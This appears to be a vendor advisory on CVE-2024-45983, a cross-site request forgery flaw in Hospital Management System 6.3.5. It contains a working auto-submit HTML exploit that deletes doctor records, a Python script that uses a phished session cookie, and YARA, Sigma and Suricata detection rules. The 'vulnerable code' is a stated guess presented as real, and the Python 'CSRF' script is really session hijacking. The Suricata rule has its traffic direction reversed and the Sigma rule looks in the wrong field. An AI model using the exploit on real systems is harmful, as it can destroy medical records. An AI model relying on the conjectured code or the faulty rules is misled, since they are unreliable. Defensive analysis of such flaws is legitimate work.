CVE-2024-45983

Executive Summary

CVE-2024-45983 is a Cross-Site Request Forgery (CSRF) vulnerability in the Hospital Management System (HMS) version 6.3.5 developed by Kishan0725. The flaw allows an attacker to craft a malicious HTML form that, when visited by an authenticated admin user, silently submits a request to delete a doctor record. This enables unauthorized actions to be performed on behalf of the admin without their consent. The vulnerability is unpatched, and no official fix has been released by the vendor. The CVSS score is 0.0 due to incomplete NVD data, but based on the vector, the severity is medium (6.5). The exploit is publicly known, and proof-of-concept code is available.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone PHP/MySQL web application. The risk is limited to organizations that have deployed this specific Hospital Management System version 6.3.5.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
• Base Score: 6.5 (Medium)
• Attack Vector (AV): Network (N) – The attack is launched over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – The attacker does not need authentication.
• User Interaction (UI): Required (R) – The victim must click a link or visit a malicious page.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): None (N) – No data is exposed.
• Integrity (I): High (H) – The attacker can delete doctor records, causing data loss.
• Availability (A): None (N) – No direct impact on availability.

Threat Level: Medium. The attack requires user interaction (admin clicking a link), but the impact is high (data deletion). The lack of a patch increases the risk for deployed instances.

Deep Dive & Mechanics

The vulnerability resides in the doctor deletion functionality of the Hospital Management System. The application does not implement any anti-CSRF tokens, same-site cookies, or origin/referrer validation. The endpoint responsible for deleting a doctor (likely delete_doctor.php or similar) accepts GET or POST requests without verifying the request's authenticity.

Attack Flow:

1. The attacker identifies the vulnerable endpoint, e.g., http://target/hospital/hms/admin/delete_doctor.php?id=123.
2. The attacker crafts an HTML page containing a form that auto-submits to this endpoint with a valid doctor ID.
3. The attacker hosts this page on a malicious site or sends it via email/phishing.
4. An authenticated admin user visits the malicious page.
5. The victim's browser, having an active session cookie for the HMS, sends the forged request.
6. The server processes the request and deletes the doctor record without verifying the origin.

Root Cause: Lack of CSRF protection mechanisms. The application does not generate or validate unique tokens per session or request.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the current state. A patched version would include CSRF token validation.

Vulnerable Code (delete_doctor.php):

<?php
include('session.php');
$id = $_GET['id'];
$query = "DELETE FROM doctors WHERE id = '$id'";
mysqli_query($conn, $query);
header('Location: manage_doctors.php');
?>

Patched Code (Conceptual):

<?php
include('session.php');
session_start();
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
        die('CSRF token validation failed');
    }
    $id = $_POST['id'];
    $query = "DELETE FROM doctors WHERE id = ?";
    $stmt = mysqli_prepare($conn, $query);
    mysqli_stmt_bind_param($stmt, 'i', $id);
    mysqli_stmt_execute($stmt);
    header('Location: manage_doctors.php');
}
?>

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A running instance of Hospital Management System v6.3.5.
• An authenticated admin session (the victim must be logged in).
• A valid doctor ID to delete.

Exploit HTML (save as csrf_exploit.html):

<html>
<body>
<form action="http://target/hospital/hms/admin/delete_doctor.php" method="GET">
    <input type="hidden" name="id" value="1">
    <input type="submit" value="Click me">
</form>
<script>
    document.forms[0].submit();
</script>
</body>
</html>

Usage:

1. Host the HTML file on a web server or send it as an email attachment.
2. Ensure the victim is logged into the HMS.
3. When the victim opens the file, the form auto-submits, deleting the doctor with ID 1.

Automated Exploit (Python):

import requests

target = "http://target/hospital/hms/admin/delete_doctor.php"
doctor_id = "1"
session = requests.Session()
# Assume victim's session cookie is obtained via phishing
cookies = {"PHPSESSID": "victim_session_id"}
params = {"id": doctor_id}
response = session.get(target, params=params, cookies=cookies)
print("Doctor deleted" if response.status_code == 200 else "Failed")

Blue Team (Defender)

Detection:

• Monitor for unexpected GET/POST requests to delete_doctor.php without a valid CSRF token.
• Look for requests with suspicious referrer headers (e.g., from external domains).
• Use the Sigma rule below to detect the attack.

Mitigation:

• Implement CSRF tokens in all state-changing forms.
• Validate the Origin and Referer headers.
• Use SameSite cookies (set to Lax or Strict).

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /hospital/hms/admin/delete_doctor.php with id parameter.
  • Referrer header from an external domain (e.g., evil.com).
• File:
  • Presence of unexpected HTML files in web root (e.g., csrf_exploit.html).
• Logs:
  • Web server logs showing DELETE requests to delete_doctor.php from non-admin IPs.
  • PHP error logs with mysqli_query failures.

Detection Engineering

YARA Rule

rule CVE_2024_45983_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit HTML for CVE-2024-45983"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-45983"
    strings:
        $form = "action=\"http://target/hospital/hms/admin/delete_doctor.php\"" nocase
        $input = "<input type=\"hidden\" name=\"id\" value=\"" nocase
        $submit = "document.forms[0].submit()" nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-45983 CSRF Exploit Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to delete_doctor.php without proper CSRF token
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/hospital/hms/admin/delete_doctor.php'
        cs-referer|contains: 
            - 'http://'
            - 'https://'
        cs-referer|re: '^(?!.*target\.com).*$'
    condition: selection
falsepositives:
    - Legitimate admin actions from same origin
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-45983 CSRF Exploit Attempt";
    flow:to_server,established;
    content:"GET";
    http_method;
    content:"/hospital/hms/admin/delete_doctor.php";
    http_uri;
    content:"id=";
    http_uri;
    pcre:"/Referer: [^\\r\\n]*?(?!target\.com)/Pi";
    sid:1000001;
    rev:1;
    reference:cve,2024-45983;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the delete functionality temporarily by removing or renaming delete_doctor.php.
2. Implement CSRF tokens in all forms. Use a library or custom implementation.
3. Validate HTTP Referer/Origin headers to ensure requests come from the same site.
4. Set SameSite cookies to Lax or Strict for session cookies.

Long-term Fix:

• Upgrade to a patched version if the vendor releases one.
• Consider migrating to a supported hospital management system with active security maintenance.
• Conduct a full security audit of the application.

Workaround:

• Use a Web Application Firewall (WAF) to block requests to delete_doctor.php from external referrers.
• Restrict access to the admin panel via IP whitelisting or VPN.

Valters IT
Securing Digital Frontiers